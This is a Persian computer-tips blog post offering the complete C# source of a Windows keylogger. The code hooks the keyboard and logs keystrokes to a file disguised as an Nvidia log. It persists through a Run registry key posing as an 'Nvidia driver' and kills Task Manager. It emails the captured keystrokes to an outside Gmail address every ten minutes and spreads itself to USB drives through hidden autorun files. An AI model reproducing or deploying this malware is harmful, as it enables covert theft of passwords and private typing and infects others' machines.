loading...
رایانه
آخرین ارسال های انجمن
Reza99 بازدید : 88 پنجشنبه 01 بهمن 1394 نظرات (0)

 

کد کیلاگرباسی شارپ(#c)

 

using System;

using System.Diagnostics;

using System.Timers;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

using System.Net;

using System.Net.Mail;

using Microsoft.Win32;

 

namespace Keylogger_V2

{

    class Program

    {

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;

        private static IntPtr _hookID = IntPtr.Zero;

        public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "nvidia.log");

        public static byte caps = 0, shift = 0, failed = 0;

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

 

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);

 

        public static void Main()

        {

            _hookID = SetHook(_proc);

            Program.startup();

            System.Timers.Timer timer;

            timer = new System.Timers.Timer();

            timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);

            timer.AutoReset = true;

            timer.Interval = 600000;

            timer.Start();

            System.Timers.Timer timer2;

            timer2 = new System.Timers.Timer();

            timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);

            timer2.AutoReset = true;

            timer2.Interval = 10000;

            timer2.Start();

            Application.Run();

            GC.KeepAlive(timer);

            GC.KeepAlive(timer2);

            UnhookWindowsHookEx(_hookID);

        }

 

        public static void startup()

        {

            //Try to copy keylogger in some folders

            string source = Application.ExecutablePath.ToString();

            string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

            destination = System.IO.Path.Combine(destination, "nvdisp.exe");

            try

            {

                System.IO.File.Copy(source, destination, false);

                source = destination;

            }

            catch

            {

                Console.WriteLine("No authorization to copy file or other error.");

            }

            //Find if the file already exist in startup

            try

            {

                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", destination);

                }

 

                registryKey.Close();//dispose of the Key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key.");

            }

            //Try to add to all users

            try

            {

                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", source);

                }

 

                registryKey.Close();//dispose of the key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key for all users.");

            }

        }

 

        public static void OnTimedEvent(object source, EventArgs e)

        {

            Process[] ProcessList = Process.GetProcesses();

            foreach (Process proc in ProcessList)

            {

                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))

                {

                    proc.Kill();

                }

            }

            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message

            msg.To.Add("username@gmail.com");

            msg.From = new MailAddress("najafireza99@gmail.com", "username", System.Text.Encoding.UTF8);

            msg.Subject = "i don't know";

            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            msg.Body = "ciao ale";

            msg.BodyEncoding = System.Text.Encoding.UTF8;

            msg.IsBodyHtml = false;

            msg.Priority = MailPriority.High;

            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail

            client.Credentials = new System.Net.NetworkCredential("najafireza@gmail.com", "password");

            client.Port = 587;

            client.Host = "smtp.gmail.com";

            client.EnableSsl = true;

            Attachment data = new Attachment(Program.path);

            msg.Attachments.Add(data);

            try

            {

                client.Send(msg);

                failed = 0;

            }

            catch

            {

                data.Dispose();

                failed = 1;

            }

            data.Dispose();

 

            if (failed == 0)

                File.WriteAllText(Program.path, ""); //empties the file

 

            failed = 0;

 

        }

 

        private static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

            }

        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

        {

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            {

                StreamWriter sw = File.AppendText(Program.path);

                int vkCode = Marshal.ReadInt32(lParam);

                if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;

 

                switch ((Keys)vkCode)

                {

                    case Keys.Space:

                        sw.Write(" ");

                        break;

                    case Keys.Return:

                        sw.WriteLine("");

                        break;

                    case Keys.Back:

                        sw.Write("back");

                        break;

                    case Keys.Tab:

                        sw.Write("TAB");

                        break;

                    case Keys.D0:

                        if (Program.shift == 0) sw.Write("0");

                        else sw.Write(")");

                        break;

                    case Keys.D1:

                        if (Program.shift == 0) sw.Write("1");

                        else sw.Write("!");

                        break;

                    case Keys.D2:

                        if (Program.shift == 0) sw.Write("2");

                        else sw.Write("@");

                        break;

                    case Keys.D3:

                        if (Program.shift == 0) sw.Write("3");

                        else sw.Write("#");

                        break;

                    case Keys.D4:

                        if (Program.shift == 0) sw.Write("4");

                        else sw.Write("$");

                        break;

                    case Keys.D5:

                        if (Program.shift == 0) sw.Write("5");

                        else sw.Write("%");

                        break;

                    case Keys.D6:

                        if (Program.shift == 0) sw.Write("6");

                        else sw.Write("^");

                        break;

                    case Keys.D7:

                        if (Program.shift == 0) sw.Write("7");

                        else sw.Write("&");

                        break;

                    case Keys.D8:

                        if (Program.shift == 0) sw.Write("8");

                        else sw.Write("*");

                        break;

                    case Keys.D9:

                        if (Program.shift == 0) sw.Write("9");

                        else sw.Write("(");

                        break;

                    case Keys.LShiftKey:

                    case Keys.RShiftKey:

                    case Keys.LControlKey:

                    case Keys.RControlKey:

                    case Keys.LMenu:

                    case Keys.RMenu:

                    case Keys.LWin:

                    case Keys.RWin:

                    case Keys.Apps:

                        sw.Write("");

                        break;

                    case Keys.OemQuestion:

                        if (Program.shift == 0) sw.Write("/");

                        else sw.Write("?");

                        break;

                    case Keys.OemOpenBrackets:

                        if (Program.shift == 0) sw.Write("[");

                        else sw.Write("{");

                        break;

                    case Keys.OemCloseBrackets:

                        if (Program.shift == 0) sw.Write("]");

                        else sw.Write("}");

                        break;

                    case Keys.Oem1:

                        if (Program.shift == 0) sw.Write(";");

                        else sw.Write(":");

                        break;

                    case Keys.Oem7:

                        if (Program.shift == 0) sw.Write("'");

                        else sw.Write('"');

                        break;

                    case Keys.Oemcomma:

                        if (Program.shift == 0) sw.Write(",");

                        else sw.Write("<");

                        break;

                    case Keys.OemPeriod:

                        if (Program.shift == 0) sw.Write(".");

                        else sw.Write(">");

                        break;

                    case Keys.OemMinus:

                        if (Program.shift == 0) sw.Write("-");

                        else sw.Write("_");

                        break;

                    case Keys.Oemplus:

                        if (Program.shift == 0) sw.Write("=");

                        else sw.Write("+");

                        break;

                    case Keys.Oemtilde:

                        if (Program.shift == 0) sw.Write("`");

                        else sw.Write("~");

                        break;

                    case Keys.Oem5:

                        sw.Write("|");

                        break;

                    case Keys.Capital:

                        if (Program.caps == 0) Program.caps = 1;

                        else Program.caps = 0;

                        break;

                    default:

                        if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());

                        if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());

                        break;

                }

                Program.shift = 0;

                sw.Close();

            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }

 

        public static void USBSpread(object source, EventArgs e)

        {

 

            //A bit modified

            string source2 = Application.ExecutablePath.ToString();

            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();

            try

            {

                foreach (System.IO.DriveInfo drive in drives)

                {

                    if (drive.DriveType == DriveType.Removable)

                    {

                        string driveAutorun = drive.Name + "autorun.inf";

                        StreamWriter sw = new StreamWriter(driveAutorun);

                        sw.WriteLine("[autorun]n");

                        sw.WriteLine("open=start.exe");

                        sw.WriteLine("action=Run VMCLite");

                        sw.Close();

                        File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                        try

                        {

                            File.Copy(source2, drive.Name + "start.exe", true);

                            File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);

                        }

                        finally

                        {

                            Console.WriteLine("Removable device rooted");

                        }

                    }

                }

            }

            catch (Exception e2)

            {

                Console.WriteLine(e2.ToString());

            }

        }

    }

 

 

آمزش ساخت کیلاگر با سی شارپ(#c)

مطالب مرتبط
ارسال نظر برای این مطلب

کد امنیتی رفرش
درباره ما
Profile Pic
باسلام خدمت شما در این وبلاگ در مورد آموزش های استفاده از رایانه و آموزش چگونگی استفاده از رایانه بحث می شود. ممنون از این که به وبلاگ من سر زدید. امید وارم از مطالب وبلاگ راضی باشید. منتظر دیدار دوباره ی شما هستیم.
اطلاعات کاربری
  • فراموشی رمز عبور؟
  • نظرسنجی
    نظر شما در مورد مطالب این سایت چیست؟
    آمار سایت
  • کل مطالب : 30
  • کل نظرات : 2
  • افراد آنلاین : 1
  • تعداد اعضا : 3
  • آی پی امروز : 18
  • آی پی دیروز : 13
  • بازدید امروز : 55
  • باردید دیروز : 23
  • گوگل امروز : 0
  • گوگل دیروز : 0
  • بازدید هفته : 264
  • بازدید ماه : 1,472
  • بازدید سال : 14,612
  • بازدید کلی : 132,445